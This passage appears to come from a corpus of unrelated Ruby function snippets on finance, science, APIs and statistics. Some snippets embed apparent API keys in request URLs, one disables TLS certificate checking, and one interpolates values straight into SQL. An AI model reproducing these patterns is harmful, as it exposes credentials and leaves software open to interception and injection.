Hek_cells_100904050914 file\n front = Distribution::Normal.rng(@opts[:front].to_f,0.01466692).call #4.83466692 is the standard deviation from Hek_cells_100904050914 file\n # These number didn't work. May need to get more samples or figure something else out. For now this will give us some\n # meta variance in any case\n mu = @opts[:mu].to_f\n\n index = 0\n sx = pep[9]\n sy = (sx**-1) * Math.sqrt(pep[8]) #abu\n\n shuff = rt_helper.RandomFloat(0.05,1.0)\n core_mzs.each_with_index do |mzmu,core_idx|\n\n relative_abundances_int = relative_ints[index]\n\n t_index = 1\n\n (Mspire::Simulator::Spectra::r_times[pep[10]..pep[11]]).each_with_index do |rt,i| \n\n\n if !@one_d\n #-------------Tailing-------------------------\n shape = (tail * (t_index / sx)) + front\n int = (rt_helper.gaussian((t_index / sx) ,mu ,shape,100.0))\n t_index += 1\n #---------------------------------------------\n\n else\n #-----------Random 1d data--------------------\n int = (relative_abundances_int * ints_factor) * shuff\n #---------------------------------------------\n end\n\n if int < 0.01\n int = rt_helper.RandomFloat(0.001,0.4)\n end\n\n=begin\n if !@one_d\n #-------------M/Z Peak shape (Profile?)-------\n fraction = rt_helper.gaussian(fin_mzs[i],mzmu,0.05,1)\n factor = fraction/1.0\n fin_ints[i] = fin_ints[i] * factor\n #---------------------------------------------\n end\n=end\t \n\n if int > 0.4\n #-------------Jagged-ness---------------------\n sd = (@opts[:jagA] * (1-Math.exp(-(@opts[:jagC]) * int)) + @opts[:jagB])/2\n diff = (Distribution::Normal.rng(0,sd).call)\n int += diff\n #---------------------------------------------\n end\n\n #-------------mz wobble-----------------------\n wobble_mz = nil\n if int > 0\n wobble_int = wobA*int**wobB\n wobble_mz = Distribution::Normal.rng(mzmu,wobble_int).call\n if wobble_mz < 0\n wobble_mz = 0.01\n end\n end\n #---------------------------------------------\n\n\n int = int*(predicted_int*(relative_abundances_int*10**-2)) * sy\n if int > low.abs and wobble_mz > 0\n @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL,#{core_idx})\"\n# @db.execute \"INSERT INTO spectra VALUES(#{@cent_id},#{pep_id},#{rt},#{wobble_mz},#{int},NULL)\"\n @cent_id += 1\n if @max_mz < wobble_mz\n @max_mz = wobble_mz\n end\n end\n end\n index += 1\n end\n end", "def get_feature(key)\n feature = $redis.get(\"caniuse:data:#{key}\")\n if feature.nil?\n caniuse_data = get_caniuse_data\n features = caniuse_data[\"data\"]\n matched_feature = features.find{ |k, h| k == key || h[\"title\"].downcase == key }\n if !matched_feature.nil?\n feature = features[matched_feature.first]\n response = \"\"\n $redis.setex(\"caniuse:data:#{matched_feature.first}\", 60*60*24, feature.to_json)\n else\n white = Text::WhiteSimilarity.new\n matched_features = features.select{ |k, h| white.similarity(key, k) > 0.5 || white.similarity(key, h[\"title\"].downcase) > 0.5 }\n if matched_features.size == 0\n response = \"Sorry, I couldn't find data for `#{key}`. Say `#{ENV[\"TRIGGER_WORD\"]}` to see all available features.\"\n elsif matched_features.size == 1\n matched_feature = matched_features.first\n feature = features[matched_feature.first]\n response = \"\"\n $redis.setex(\"caniuse:data:#{matched_feature.first}\", 60*60*24, feature.to_json)\n else\n response = \"Sorry, I couldn't find data for `#{key}`. Did you mean one of these? #{matched_features.collect{ |f| \"`#{f.first}`\" }.join(\", \")}\"\n end\n end\n else\n response = \"\"\n feature = JSON.parse(feature)\n end\n return response, feature\nend", "def interest_rate\n params['interest_rate'] = params['interest_rate'].to_f\n\n old_rate = @@interest_rate\n @@interest_rate = params['interest_rate']\n json_response(old_rate: old_rate, new_rate: @@interest_rate)\n end", "def calculate_rsi(buffer, pos, rsi_period)\n rsi_period_key = rsi_period.to_s\n \n if !buffer[pos].rsis[rsi_period_key]\n # calculate new RSI (slower)\n gains = losses = 0\n for i in pos-rsi_period+1..pos\n diff = buffer[i].avg - buffer[i-1].avg\n if diff > 0\n gains += diff\n else\n losses -= diff\n end\n end\n buffer[pos].rsi_avggains[rsi_period_key] = avg_gain = gains / rsi_period\n buffer[pos].rsi_avglosses[rsi_period_key] = avg_loss = losses / rsi_period\n rs = avg_gain/avg_loss\n buffer[pos].rsis[rsi_period_key] = 100 - (100 / (1 + rs))\n \n # puts \"(calculate_rsi #{ma_period}) avg_gain #{avg_gain}, avg_loss #{avg_loss}, rs #{rs}, rsi #{buffer[pos].rsis[rsi_period_key]}\"\n end\nend", "def grasaIR\n\t\t((valorEnergeticoKJ.to_f*70)/8400).round(2)\n\tend", "def flamegraph_sample_rate; end", "def get_interval_data(sensor_id, access_token, interval)\n data= MySmartGrid.get(\n \"/sensor/#{sensor_id}?interval=#{interval}&resolution=minute&unit=watt\",\n :headers => { \"X-Version\" => \"1.0\", \n \"X-Token\" => access_token,\n \"Accept\" => \"application/json\"\n });\n return JSON.parse(data.body)\n end", "def get_ROI\n require 'yahoo_stock'\n\n stocks = []\n qtys = []\n for purchase in PurchasedStock.for_user_game(self.id)\n stocks += [purchase.stock_code]\n qtys += [purchase.total_qty]\n end\n\n values = [0] * stocks.length\n for i in (0..stocks.length-1)\n yesterday_price = (YahooStock::History.new(:stock_symbol => stocks[i], :start_date => Date.today-1, :end_date => Date.today-1)).results(:to_array).output[0][4].to_f\n values[i] = yesterday_price\n end\n\n qtys_and_values = [0] * stocks.length\n for i in (0..stocks.length-1)\n qtys_and_values[i] = [qtys[i] * values[i]]\n end\n total_value = 0\n for price in qtys_and_values\n total_value += price[0]\n end\n return (self.total_value_in_stocks-(total_value * 100))/(total_value * 100)\n end", "def get_feature_values\n out = File.open(\"#{$prepare_dir}/refseq_genes_result.tsv\", \"w\")\n template = File.read(\"#{@base_dir}/sparql/create_refseq2up_tsv.rq.erb\")\n stats = {}\n @refseq_list.each {|refseq|\n retry_cnt = 0 #prevent from infinite loop\n rsid = refseq [\"refseq_id\"]\n #next unless (rsid == \"NZ_CP011382.1\" || rsid == \"NC_003272.1\" || rsid == \"NC_000010.11\") #TODO delete\n query_text = ERB.new(template).result(binding)\n begin\n result = \"\"\n puts rsid\n @sparql_ep.query(query_text, :format => 'json') do |json|\n result += json\n end\n $stderr.puts \"success get featurs of #{rsid} .\"\n result = JSON.parse(result)[\"results\"][\"bindings\"]\n rescue # when occures timeout or json parse error\n retry_cnt += 1\n $stderr.puts \"error get featurs of #{rsid} .\"\n if retry_cnt <= 10\n $stderr.puts \"start retry after 30 sec...\"\n sleep 30\n retry\n else #prevent from infinite loop\n $stderr.puts \"finally, cloudn't get featurs of #{rsid} . Please check the data or environment\"\n next\n end\n end\n result.each do |entry|\n refseq_data = [\n entry['taxonomy_id']['value'],\n entry['gene']['value'],\n entry['gene_label']['value']\n ]\n if entry['protein_id']\n refseq_data.push(entry['protein_id']['value'])\n else\n refseq_data.push(\"\")\n end\n if entry['insdc_gene_id']\n refseq_data.push(entry['insdc_gene_id']['value'])\n else\n refseq_data.push(\"\")\n end\n out.puts refseq_data.join(\"\\t\")\n end\n }\n out.flush\n out.close\nend", "def get_basic_info\n yahoo_client = YahooFinance::Client.new\n @data = yahoo_client.quotes([@stock.ticker_symbol], [:open, :high, :low, :close, :last_trade_price, :change, :change_in_percent, :dividend_yield])\n respond_to do |format|\n format.json { render json: @data, status: :ok }\n format.html { @data }\n end\n url = \"https://www.quandl.com/api/v3/datasets/SF0/\" + @stock.ticker_symbol + \"_BVPS_MRY.json?api_key=rWvJtw9jPu2px-yskKZ4\"\n resp = HTTP.get(url)\n @history = JSON.parse(resp, symbolize_keys: true)\n\n end_date = Date.today\n start_date = Date.today.prev_month \n\n fred_url = \"https://api.stlouisfed.org/fred/series/observations?series_id=DGS5&api_key=d9f592689a18d841cab93825d4e060c7&file_type=json&observation_start=\" + start_date.strftime('%Y-%m-%e') + \"&observation_end=\" + end_date.strftime('%Y-%m-%e') + \"\"\n fred_resp = HTTP.get(fred_url)\n five_year_interest_rates = JSON.parse(fred_resp, symbolize_keys: true)\n interest_rate = five_year_interest_rates[\"observations\"].last[\"value\"].to_f\n\n if @history[\"dataset\"].nil?\n @derivative_fypm = \"N/A\"\n @linear_fypm = \"N/A\"\n @rate_fypm = \"N/A\"\n else\n book_values = @history[\"dataset\"][\"data\"]\n # derivative FYPM values\n v1 = book_values[3][1].to_f - book_values[4][1].to_f\n v2 = book_values[2][1].to_f - book_values[3][1].to_f\n v3 = book_values[1][1].to_f - book_values[2][1].to_f\n v4 = book_values[0][1].to_f - book_values[1][1].to_f\n @div = @data[0].dividend_yield.to_f\n price = @data[0].last_trade_price.to_f\n five_year_div_yield = ((((@div * 0.01) + 1.0) ** 5.0) - 1.0) * 100.0\n five_year_interest_rate_yield = 100 * ((((interest_rate/100) + 1) ** 5) - 1)\n # variables for derivative book value linear fit\n sigma_x = 6.0\n sigma_x_squared = 14.0\n sigma_y = v1 + v2 + v3 + v4\n sigma_xy = v2 + v3*2.0 + v4*3.0\n n = 4.0\n # derivative book value linear fit\n a = ((sigma_y*sigma_x_squared) - (sigma_x*sigma_xy))/((n*sigma_x_squared)-(sigma_x**2))\n b = ((n*sigma_xy) - (sigma_x*sigma_y))/((n*sigma_x_squared)-(sigma_x**2))\n five_year_book_value_added = (6.5*b + a)*5.0\n five_year_book_value_yield = (five_year_book_value_added/price)*100\n # derivative FYPM final calc\n @derivative_fypm = ((five_year_book_value_yield + five_year_div_yield)/five_year_interest_rate_yield)\n\n # non- derivative FYPM values\n v1 = book_values[4][1].to_f\n v2 = book_values[3][1].to_f\n v3 = book_values[2][1].to_f\n v4 = book_values[1][1].to_f\n v5 = book_values[0][1].to_f\n # variables for non-derivative book value linear fit\n sigma_x = 10.0\n sigma_x_squared = 30.0\n sigma_y = v1 + v2 + v3 + v4 + v5\n sigma_xy = v2 + v3*2.0 + v4*3.0 + v5*4.0\n n = 5.0\n # non-derivative book value linear fit\n a = ((sigma_y*sigma_x_squared) - (sigma_x*sigma_xy))/((n*sigma_x_squared)-(sigma_x**2))\n b = ((n*sigma_xy) - (sigma_x*sigma_y))/((n*sigma_x_squared)-(sigma_x**2))\n five_year_book_value_added_linear = (10.0*b + a) - v5\n five_year_book_value_added_rate = 5.0*b\n five_year_book_value_yield_linear = (five_year_book_value_added_linear/price)*100\n five_year_book_value_yield_rate = (five_year_book_value_added_rate/price)*100\n # non-derivative FYPM final calc\n @linear_fypm = ((five_year_book_value_yield_linear + five_year_div_yield)/five_year_interest_rate_yield)\n @rate_fypm = ((five_year_book_value_yield_rate + five_year_div_yield)/five_year_interest_rate_yield)\n\n # get change from previous day\n last_fypm = StockDatum.where(ticker_symbol: @stock.ticker_symbol).order(\"created_at DESC\").first\n if last_fypm.nil?\n @linear_change = nil\n @rate_change = nil\n @derivative_change = nil\n else\n @linear_change = ((@linear_fypm / last_fypm.linear_fypm ) - 1.0) * 100.0\n @rate_change = ((@rate_fypm / last_fypm.rate_fypm ) - 1) * 100\n @derivative_change = ((@derivative_fypm / last_fypm.derivative_fypm ) - 1) * 100\n end\n\n end\n end", "def calculate_interest(principal, roi, time)\n rate = roi.to_f / 100\n amount = principal.to_f * (1 + rate * time.to_f)\n\n amount\nend", "def get_sax_feature(feature)\n \n end", "def rates_prediction\r\n final_array = []\r\n today = today_rate\r\n weekly_change = weekly_percentage_change_array\r\n\r\n first = ((weekly_change[0] / 100) * today) + today\r\n final_array << first\r\n\r\n if @time > 1\r\n i = 0\r\n while i < weekly_change[1].length\r\n rate = ((weekly_change[1][i] / 100) * final_array[i]) + final_array[i]\r\n final_array << rate\r\n i += 1\r\n end\r\n end\r\n final_array\r\n end", "def effective_rate; end", "def flamegraph_sample_rate=(_arg0); end", "def integral\n return Signal.new(:sample_rate => @sample_rate, :data => Calculus.integral(@data))\n end", "def test_get_feature_vect()\n rs = ClinicalTCGA::RetrieveSamples.new([\"TCGA-A6-2671\",\"TCGA-A6-2672\"], \n [\"vital_status\", \"death_days_to\",\"percent_tumor_nuclei\"], \n false)\n followup = \"#{ENV['TCGA_CLINICAL_TEST_DATA']}/Biotab/nationwidechildrens.org_clinical_follow_up_v1.0_coad.txt\"\n tumor_sample = \"#{ENV['TCGA_CLINICAL_TEST_DATA']}/Biotab/nationwidechildrens.org_biospecimen_slide_coad.txt\"\n rs.add_tcga_source(followup)\n rs.add_tcga_source(tumor_sample)\n \n h = Hash.new\n rs.get_feature_vector do |sample,fV|\n h[sample] = fV\n end\n\n assert_equal(h[\"TCGA-A6-2671\"], [\"Dead\", \"1331\", 35.0], \"returned unexpected result for TCGA-A6-2671\")\n assert_equal(h[\"TCGA-A6-2672\"], [\"Alive\", \"[Not Available]\", 40.0], \"returned unexpected result for TCGA-A6-2672\")\n end", "def rate\n first_at, first_value = @samples.first\n last_at, last_value = @samples.last\n if first_at == last_at\n 0\n else\n (last_value - first_value) / (last_at - first_at)\n end\n end", "def rates; end", "def rates; end", "def read_rate(from, to)\n raise NotImplementedError\n end", "def sample_rate\n @ole.SampleRate\n end", "def sample_rate\n @values.fetch('sampleRate') { \n @values['sampleRate'] = 100.0\n }\n end", "def get_reek_feature \n hash = JSON.parse(IO.read(@feature_dir + \"/reek.json\"))\n smells = @all_smells - @filter_smells\n reek_feature = Array.new(@indexes.length) { Array.new(smells.length, 0)}\n \n @indexes.each_with_index do |index, i|\n smells.each_with_index do |smell, j|\n break unless hash[index.to_s + \".rb\"] # some submission has no warning\n if hash[index.to_s + \".rb\"][smell]\n reek_feature[i][j] = hash[index.to_s + \".rb\"][smell]\n end\n end \n end\n\n return reek_feature \n end", "def energy_row(bg)\n energy_profile = bg.group_energy_profiles.where(age_group: \"all\").first\n total_energy = Calculators::Conversion.to_kWh(energy_profile.imported_electricity_consumption.to_i || 0, energy_profile.imported_electricity_consumption_unit) +\n Calculators::Conversion.to_kWh(energy_profile.generated_electricity_consumption.to_i || 0, energy_profile.generated_electricity_consumption_unit) -\n Calculators::Conversion.to_kWh(energy_profile.exported_electricity.to_i || 0, energy_profile.exported_electricity_unit) +\n Calculators::Conversion.to_kWh(energy_profile.fossil_1_consumption.to_i || 0, energy_profile.fossil_1_consumption_unit) +\n Calculators::Conversion.to_kWh(energy_profile.fossil_2_consumption.to_i || 0, energy_profile.fossil_2_consumption_unit)\n total_emission = Calculators::Conversion.kgCO2_from_kWh(\"imported electricity consumption\", \n Calculators::Conversion.to_kWh(energy_profile.imported_electricity_consumption.to_i || 0, energy_profile.imported_electricity_consumption_unit)) +\n Calculators::Conversion.kgCO2_from_kWh(energy_profile.fossil_1_consumption_type,\n Calculators::Conversion.to_kWh(energy_profile.fossil_1_consumption.to_i || 0, energy_profile.fossil_1_consumption_unit)) +\n Calculators::Conversion.kgCO2_from_kWh(energy_profile.fossil_2_consumption_type,\n Calculators::Conversion.to_kWh(energy_profile.fossil_2_consumption.to_i || 0, energy_profile.fossil_2_consumption_unit))\n\n data = calculate(total_energy, total_emission, bg.total_area, bg.total_occupancy)\n data.merge({name: bg.name + \" \" + bg.category, year: bg.year})\n end", "def anisotropy_index\n @direct_normal_irradiance / extraterrestrial_irradiance\n end", "def update_feature\n @feature = params[:feature] \n @series = MoleLog.compute_series( @feature, @app_name, @min_date, @max_date ) \n @delay = rand( 10 ) + REFRESH_RATE \n @title = @feature\n @url = \"/graphs/update_feature?feature=#{CGI.escape(@feature)}\"\n render :template => 'graphs/partial_refresh', :layout => false\n end", "def fetch_cdi_value\n token = get_financial_data_token\n if token\n\t\t\tactual_date = \"#{Date.current.year}-#{Date.current.month}-#{Date.current.day}\"\n\t\t\tif Cdi.all.count > 0\n\t\t\t\tlast_cdi_date = Cdi.last.date_tax + 1\n\t\t\telse\n\t\t\t\tlast_cdi_date = '2010-01-01'\n\t\t\tend\n uri = URI.parse(\"https://api.financialdata.io/v1/indices/CDI/serie?dataInicio=#{last_cdi_date}&dataFim=#{actual_date}\")\n header = {'Content-Type': 'application/json', 'Authorization': \"Bearer #{token}\"}\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri, header)\n response = http.request(request)\n return JSON.parse(response.read_body) \n end\n end", "def EFFICIENCY(file_key, direction, carrier)\n direction == :input if direction == :in\n direction == :output if direction == :out\n\n dataset.efficiencies(file_key).get(\"#{ direction }.#{ carrier }\")\n end", "def find_rate()\n uri_string = \"https://free.currconv.com/api/v7/convert?q=GBP_\"\\\n \"#{@currency}&compact=ultra&apiKey=2d46a9b5b650dca0dbb1\"\n uri = URI(uri_string)\n res = Net::HTTP.get_response(uri)\n return(JSON.parse(res.body)[\"GBP_#{@currency}\"]/100.0)\n end", "def refresh_rates\n read_from_url\n end", "def calculate_irr(min_rate, max_rate, amounts)\n while true\n range = max_rate - min_rate\n\n raise RuntimeError if range <= Float::EPSILON * 2\n\n rate = range.fdiv(2) + min_rate\n present_value = npv(rate, amounts)\n\n if present_value > 0\n min_rate = rate\n elsif present_value < -0.5\n max_rate = rate\n else\n return rate\n end\n end\n end", "def features_pi(code, id)\n result = features_with_id(code, id).inject(1.0){ |r, ft|\n r *= (ft.value == 0.0) ? 0.0000001 : ft.value\n }\n end", "def get_obv(sym, interval, apikey, limit=nil)\n if sym.is_a?(String) && interval.is_a?(String)\n begin\n response = HTTParty.get(\"#{@@base_uri}function=OBV&symbol=#{sym}&interval=#{interval}&apikey=#{apikey}\")\n rescue\n return \"Oops! It seems you have a bad URI, please make sure the parameters are valid.\"\n else\n @data = JSON.parse(response.body)\n @key_phrase = \"Technical Analysis: OBV\"\n\n check_if_data_is_valid(limit)\n end\n else\n \"Please make sure sym and interval are String values.\"\n end\n end", "def features_pi(code, id)\r\n features_with_id(code, id).inject(1.0) {|r, ft| r *= ft.value }\r\n end", "def bit_rate\n @ole.BitRate\n end", "def get_region_mortality_rate_frequency (region = nil)\n logger.debug \"[DEBUG] Argument region: #{region}\"\n logger.info \"[INFO] Trying to get the mortality rate's frequencies list. Region: #{region}\"\n\n # First, we need to verify if the region is registered as valid\n if is_region_valid? region\n logger.debug \"[DEBUG] Region name validation method returned true.\"\n logger.info \"[INFO] Region name is valid, continue.\"\n\n # Is necessary to get the number of registered region's data to calculate the average\n number_of_data_for_region = MortalityRate.where(regiao: region).count\n \n if number_of_data_for_region != 0\n # All the values below were arbitrarily selected, however it was designed to\n # give users a best experience reading the data.\n # Each nested list is a range with two limits, in percentage.\n # The first is the limit down, the second, limit up.\n # [PAY ATTENTION] be careful when you decide to change this list,\n # some modifications must be done in the index HTML and JavaScript view,\n # and this list should never be bigger than FREQUENCIES_LIST_SIZE!!\n rate_ranges = [[ 0.0 , 8.0],\n [ 8.0 , 10.0],\n [10.0 , 12.0],\n [12.0 , 15.0],\n [15.0 , 20.0],\n [20.0 , 100.0]]\n\n # Respect the list size limit\n # DO NOT remove this line!\n rate_ranges = rate_ranges[0...FREQUENCIES_LIST_SIZE]\n\n region_rates_frequency = [] # It will store the 6 frequency values.\n\n # Iterate over rate ranges and, for each range, calculate the frequency of cities\n # that belongs to the region and has the mortality rate included in the range.\n rate_ranges.each do |each_range|\n begin\n rates_per_range_counter = count_number_of_rates_in_limits(region, each_range[0], each_range[1])\n rates_per_range_frequency = (rates_per_range_counter.to_f/number_of_data_for_region.to_f)*100.0\n\n logger.debug \"[DEBUG] each_range: #{each_range\n }, rates_per_range_counter: #{rates_per_range_counter\n }, number_of_data_for_region: #{number_of_data_for_region\n }, rates_per_range_frequency: #{rates_per_range_frequency}\"\n\n region_rates_frequency << rates_per_range_frequency # Append the calculated frequency.\n rescue Errors::InvalidPercentageValueError\n logger.error \"[ERROR] Any limit out of range: #{each_range}\"\n logger.info \"[INFO] Skip this range, going to the next range in the rate ranges list.\"\n end\n end\n\n logger.debug \"[DEBUG] Exited rate_ranges loop with region_rates_frequency: #{region_rates_frequency}\"\n return region_rates_frequency\n else\n # There is no data available to be calculated for this region\n logger.info \"[INFO] There is no data for this region name.\"\n logger.debug \"[DEBUG] number_of_data_for_region: 0\"\n logger.warn \"[WARN] There is no data for the region named \\\"#{region}\\\"\"\n\n return [0] * FREQUENCIES_LIST_SIZE# Displays nothing in the chart\n end\n else\n # The region name is invalid\n logger.debug \"[DEBUG] Region name validation method returned false.\"\n logger.info \"[INFO] Region name is invalid, break.\"\n logger.error \"[ERROR] This region name is not registered: #{region}.\"\n\n # Must raise an invalid region name exception\n raise Errors::RegionNameError \n end\n end", "def fetch_rate(from, to)\n uri = build_uri(from, to)\n data = perform_request(uri)\n extract_rate(data)\n end", "def rain_chance\n new_array = client.weather_data[\"hourly\"][\"data\"].find_all {|r| r[\"precipProbability\"] > 0}\n first_rain = new_array[0]\n time_of_rain = first_rain[\"time\"]\n datetime_rain = Time.at(time_of_rain).to_datetime\n now = Time.now\n time_til_rain_seconds = time_of_rain.to_i - now.to_i\n time_til_rain_hours = time_til_rain_seconds / 3600\n rain_intensity = first_rain[\"precipIntensity\"]\n end", "def ig_ind\n\t\taibc(@datos[0]).each_with_index.map{ |ind, i| (ind/aibc(@datos[1])[i])*100 }\n\tend", "def rate_scale; end", "def saturadasIR\n\t\t((valorEnergeticoKJ.to_f*20)/8400).round(2)\n\tend", "def average_inbound_bit_rate\n return @average_inbound_bit_rate\n end", "def rate\n return @rate\n end", "def isTelemetry(row)\n isTlm = false\n\n # Get the rate column values for all rate columns in the structure\n rates = ccdd.getStructureRates(row)\n\n # Step through each rate column value\n for index in 0..rates.length - 1\n # Check if a rate value is present in the column\n if !rates[index].empty?\n # Set the flag to indicate the variable is telemetered and stop\n # searching\n isTlm = true\n break\n end\n end\n\n return isTlm\nend", "def output_rate(data, index)\n data[index]['Rate'].to_f\n end", "def get_rate(date, base, target)\n uri = make_uri(date, base, target)\n data = get_cached_data(uri)\n data['rates'][target]\n end", "def gain(feature)\r\n\t\treturn self.entropy - self.featureEntropy(feature)\r\n\tend", "def ifft\r\n inverse_strategy.new(data).calculate\r\n end", "def get_sample_rate(params)\n sample_rate = params[\"sample_rate\"].to_f\n return nil if sample_rate == 0\n sample_rate\nend", "def integrations; end", "def integrations; end", "def surprise\n @grpc.surprise_likelihood\n end", "def rate; end", "def rate; end", "def get_sax_feature(feature)\n return @features[feature]\n end", "def values(start_time, ndatapoints)\n requires :id, :granularity\n data = service.get_instrumentation_value(self.uris.find {|uri| uri['name'] == 'value_raw'}['uri'], start_time, ndatapoints, self.granularity).body\n data.map do |datum|\n Fog::Joyent::Analytics::Value.new(datum)\n end\n end", "def sorrow\n @grpc.sorrow_likelihood\n end", "def rate_of_turn\n ret = _i(42, 8) # spec is wrong, we don't use I3\n return nil if ret == -128\n negative = ret < 0\n (ret / 4.733)**2 * (negative ? -1 : 1)\n end", "def get_feature_value_genuine(feature_id) get_feature_value(feature_id).value_genuine end", "def readWeights\n\ti=0\n\tFile.open(RISKS).each_line { |line|\n\t\tns = line.split\n\t\t@risks[ns[0]] = ns[1].to_i\n\t\ti = i+1\n\t}\n\tFile.open(SYS_FUN).each_line { |line|\n\t\tns = line.split\n\t\t@frisk[ns[0]] = ns[1].to_i\n\t\ti = i+1\n\t}\n\treturn i\nend", "def integrative(error,dt)\n # classic mode\n @integrative = @integrative + error*dt\n\n # window mode\n if(@history_depth != -1)\n @history << error*dt # push last sample\n @history = @history.last(@history_depth) # keep the last one\n @integrative = 0\n @history.each { |e|\n @integrative +=e\n }\n @integrative /= @history_depth # normalize\n end\n\n return @ki*@integrative\n end", "def sample_rate\n @format.sample_rate\n end", "def discretize_by_Chi2!(delta=0.02) \n # degree of freedom equals one less than number of classes \n df = get_classes.size-1\n \n #\n # Phase 1\n #\n \n sig_level = 0.5\n sig_level0 = sig_level\n \n inst_cnt = get_instance_count\n inconsis_rate = get_IR_by_count(inst_cnt)\n \n # f2bs = {\n # :'sepal-length' => [4.4],\n # :'sepal-width' => [2.0],\n # :'petal-length' => [1.0, 3.0, 5.0],\n # :'petal-width' => [0.1, 1.0, 1.7],\n # }\n \n while true\n chisq = pval2chisq(sig_level, df)\n f2bs = {} # cut ponts\n \n each_feature do |f|\n bs, cs, qs = chi2_init(f)\n chi2_merge(bs, cs, qs, chisq)\n \n f2bs[f] = bs\n end\n \n inconsis_rate = chi2_get_inconsistency_rate(inst_cnt, f2bs)\n \n if inconsis_rate <= delta\n sig_level -= 0.1\n sig_level0 = sig_level\n \n break if sig_level0 <= 0.2 # phase 1 stop at level == 0.2\n else # data inconsistency\n break\n end \n end\n \n #\n # Phase 2\n #\n \n try_levels = [0.1, 0.01, 0.001, 1e-4, \n 1e-5, 1e-6, 1e-7, 1e-8, \n 1e-9, 1e-10, 1e-11, 1e-12] \n mergeble_fs = []\n f2sig_level = {}\n \n each_feature do |f|\n mergeble_fs << f\n f2sig_level[f] = sig_level0\n end\n \n f2bs = {} # cut ponts\n \n while not mergeble_fs.empty?\n mergeble_fs.each do |f|\n #pp f\n bs, cs, qs = chi2_init(f)\n chisq_now = pval2chisq(f2sig_level[f], df)\n chi2_merge(bs, cs, qs, chisq_now)\n \n # backup\n bs_bak = nil\n if f2bs.has_key? f\n bs_bak = f2bs[f]\n end\n f2bs[f] = bs\n \n inconsis_rate = chi2_get_inconsistency_rate(inst_cnt, f2bs)\n \n if (inconsis_rate <= delta)\n # try next level\n next_level = chi2_decrease_sig_level(f2sig_level[f], try_levels)\n f2sig_level[f] = next_level\n \n if not next_level # we've tried all levels\n mergeble_fs.delete(f)\n else\n f2bs[f] = bs # record cut points for this level\n end\n else # cause more inconsistency\n f2bs[f] = bs_bak if bs_bak # restore last cut points\n mergeble_fs.delete(f) # not mergeble\n end\n end\n end\n #pp f2bs\n #pp f2sig_level\n \n # if there is only one interval, remove this feature\n each_sample do |k, s|\n s.delete_if { |f, v| f2bs[f].size <= 1 }\n end\n \n # discretize according to each feature's cut points\n discretize_at_cutpoints!(f2bs)\n end", "def dom_bonus\n features_sum(:dom_bonus)\n end", "def scanning_error_rate()\n\t\[email protected] do |v| \n\t\t\tnot is_value_compatible_with_at_least_one_rule?(v)\n\t\tend.reduce(:+) || 0\n\tend", "def get_rate(from, to)\n if self.class.rates_careful\n get_rate_careful(from, to)\n else\n get_rate_straight(from, to)\n end\n end", "def r2\n @n_predictors.times.inject(0) {|ac,i| ac+@coeffs_stan[i]* @matrix_y[i,0]} \n end", "def get_statistics_of_features\r\n return @statistics if not @statistics.nil?\r\n\r\n # Statistics of features (min, max, mean, sd)\r\n @statistics = []\r\n\r\n count_features.times do |i|\r\n f_min, f_max, f_mean, f_std = statistics_of_features(i)\r\n\r\n @statistics[i] = [f_min, f_max, f_mean, f_std]\r\n end\r\n\r\n @statistics\r\n end", "def basis\n return @basis\n end", "def funding_prev_rate_with_http_info(symbol, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FundingApi.funding_prev_rate ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling FundingApi.funding_prev_rate\"\n end\n # resource path\n local_var_path = '/open-api/funding/prev-funding-rate'\n\n # query parameters\n query_params = {}\n query_params[:'symbol'] = symbol\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiKey', 'apiSignature', 'timestamp']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FundingApi#funding_prev_rate\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_value admr\n time = self.get_time_stamp admr \n cache_key = self.get_cache_key admr, \"live\" \n \n #try to get indicator in current time grain from cache \n cache = Cache.instance.redis.get(cache_key);\n return cache if cache\n \n #not in cache -> calculate\n value = nil\n begin\n value = self.calculate admr\n $logger.debug(\"calculated new result for #{self.get_key admr} : #{value}\")\n rescue Exception => e\n $logger.error(\"caught exception #{e.message} \\n #{e.backtrace}\")\n end \n \n #create record\n result = self.create_record admr, value, time.to_i \n json = JSON.generate(result)\n \n #cache only if the value is not nil\n if value\n Cache.instance.redis.set(cache_key, json, {:ex => self.get_cache_time}) #cache time defined by indicator \n end \n \n return json\n end", "def feature\n return @feature\n end", "def get_rate(from, to, opts = T.unsafe(nil)); end", "def stat\n y_lag = SpatialStats::Utils::Lag.neighbor_sum(weights, y)\n numerator = 0\n x.each_with_index do |xi, idx|\n numerator += xi * y_lag[idx]\n end\n\n denominator = x.sum { |xi| xi**2 }\n numerator / denominator\n end", "def generate_rain_values\n WrfLibrary::Statistic::Hourly.calculate_hourly_rainsum(@wrf_handler) \n end", "def extrema\n return Features.extrema(@data)\n end", "def frame_rate\n return (1 / DT).to_i\n end", "def get_calibration_data_hash(upload)\n method = upload.name\n dm = extract_measurement_matrix_from_csv(upload)\n result = {}\n data_by_conc = Hash.new { |h, key| h[key] = [0, 0] }\n\n if method.include? 'gfp'\n # show {note \"#{method}\"}\n starting_concentration = 50.0#uM\n # first 4 rows are serial dilutions\n for i in 0...4\n 12.times do |j|\n # each column is a 2x dilution of the previous, starting at 50uM\n this_conc = starting_concentration / (2**j)\n data = data_by_conc[this_conc]\n data[0] += dm[i, j].to_f\n data[1] += 1\n data_by_conc[this_conc] = data\n end\n end\n # add serial dilution averages to result hash\n data_by_conc.each_key do |k,|\n data = data_by_conc[k]\n result[k] = data[0] / data[1]\n end\n return result\n elsif method.include? 'od'\n # row 5, 6 are lud dilutions and pure solution respectively\n for i in 4...6\n for j in 